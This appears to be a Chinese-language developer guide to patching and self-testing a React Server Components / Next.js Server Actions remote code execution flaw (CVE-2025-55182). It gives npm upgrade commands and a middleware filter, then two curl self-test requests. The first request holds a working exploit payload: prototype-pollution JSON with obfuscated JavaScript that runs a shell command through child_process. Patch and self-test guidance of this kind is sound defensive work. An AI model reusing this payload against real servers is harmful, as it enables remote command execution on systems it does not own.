React、Next安全漏洞问题修复和自测

React、Next安全漏洞问题修复和自测需要先看清适用场景和关键步骤，避免只记结论却忽略实际限制。

官方漏洞

React 服务器组件中的关键安全漏洞

解决方案

通过升级版本和项目本身进行修复

根据官方要求升级库版本

下面列举nextjs的部分，更多参考官方文档

npm install [email protected] // for 13.3.x, 13.4.x, 13.5.x, 14.x  npm install [email protected] // for 15.0.x  npm install [email protected] // for 15.1.x  npm install [email protected] // for 15.2.x  npm install [email protected] // for 15.3.x  npm install [email protected] // for 15.4.x  npm install [email protected] // for 15.5.x  npm install [email protected] // for 16.0.x

项目本身进行拦截

修改 next项目的 middleware.ts 文件进行拦截

import { NextRequest, NextResponse } from'next/server';// 验证 Referer 是否为合法来源（轻量级实现，避免创建 URL 对象）functionisValidReferer(referer: string, origin: string): boolean {  // 直接使用字符串比较，避免创建 URL 对象带来的内存开销return referer.startsWith(origin) || referer.startsWith(`${origin}/`);}exportdefaultfunctionmiddleware(request: NextRequest) {    const { pathname } = request.nextUrl;        // 先快速过滤静态资源和API请求，避免不必要的安全检查开销if (pathname.startsWith('/_next') || pathname.startsWith('/favicon.ico')) {        returnNextResponse.next();    }    // 安全检查: 防止 Next.js Server Actions RCE 漏洞// 只对带有 Next-Action 头的请求进行检查，避免影响正常页面请求性能const nextActionHeader = request.headers.get('Next-Action');    if (nextActionHeader) {        const contentType = request.headers.get('Content-Type');        // 检查是否为异常的 multipart/form-data 请求（主要攻击向量）if (contentType?.includes('multipart/form-data')) {            const referer = request.headers.get('Referer');        // 验证 Referer 来源，防止跨站攻击（移除日志避免内存问题）if (!referer || !isValidReferer(referer, request.nextUrl.origin)) {            returnnewNextResponse('Forbidden', { status: 403 });          }        }    }        // 后面继续执行业务逻辑    ...}

自测命令

注意：将其中的 localhost:3000 替换为自己本地地址

方法一：

curl --path-as-is -i -s -k -X $'POST'     -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFnJiYNZt' -H $'Content-Length: 1158'     --data-binary $'------WebKitFormBoundaryFnJiYNZtx0dx0aContent-Disposition: form-data; name="0"x0dx0ax0dx0a{x09"a":"c",x0dx0a  "then":"$1:__proto__:then",x0dx0a  "status":"resolved_model",x0dx0a  "reason":-1,x0dx0a  "value":"{"then":"$B"}",x0dx0a  "_response":{x0dx0a    "_prefix":"var _0x2adb=['u0063u0068u0069u006cu0064u005fu0070u0072u006fu0063u0065u0073u0073','u006du0061u0069u006eu004du006fu0064u0075u006cu0065','u0074u006fu0053u0074u0072u0069u006eu0067'];var _0x54ea=function(_0x2adb82,_0x54ea8e){_0x2adb82=_0x2adb82-0x0;var _0x1ed852=_0x2adb[_0x2adb82];return _0x1ed852;};var res=process[_0x54ea('0x1')]['require'](_0x54ea('0x0'))['execSync']('id')[_0x54ea('0x2')]()['trim']();var _0x3236=['assign'];var _0x58c8=function(_0x3236f2,_0x58c8b7){_0x3236f2=_0x3236f2-0x0;var _0x22ddc4=_0x3236[_0x3236f2];return _0x22ddc4;};throw Object[_0x58c8('0x0')](new Error('a'),{'digest':''+res});",x0dx0a    "_chunks":"$Q2",x0dx0a    "_formData":{"get":"$1:constructor:constructor"}x0dx0a  }x0dx0a}x0dx0ax0dx0a------WebKitFormBoundaryFnJiYNZtx0dx0aContent-Disposition: form-data; name="1"x0dx0ax0dx0a"$@0"x0dx0a------WebKitFormBoundaryFnJiYNZtx0dx0aContent-Disposition: form-data; name="2"x0dx0ax0dx0a[]x0dx0a------WebKitFormBoundaryFnJiYNZt--'     $'http://localhost:3000/'

方法二：

curl --path-as-is -i -s -k -X $'POST'     -H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Connection: close' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4e746pA' -H $'Content-Length: 118'     --data-binary $'------WebKitFormBoundaryY4e746pAx0dx0aContent-Disposition: form-data; name="2"x0dx0ax0dx0ax0dx0a------WebKitFormBoundaryY4e746pA--x0dx0ax0dx0a'     $'http://localhost:3000/'

方法三：

Github有相应POC可以再次测试

CVE-2025-55182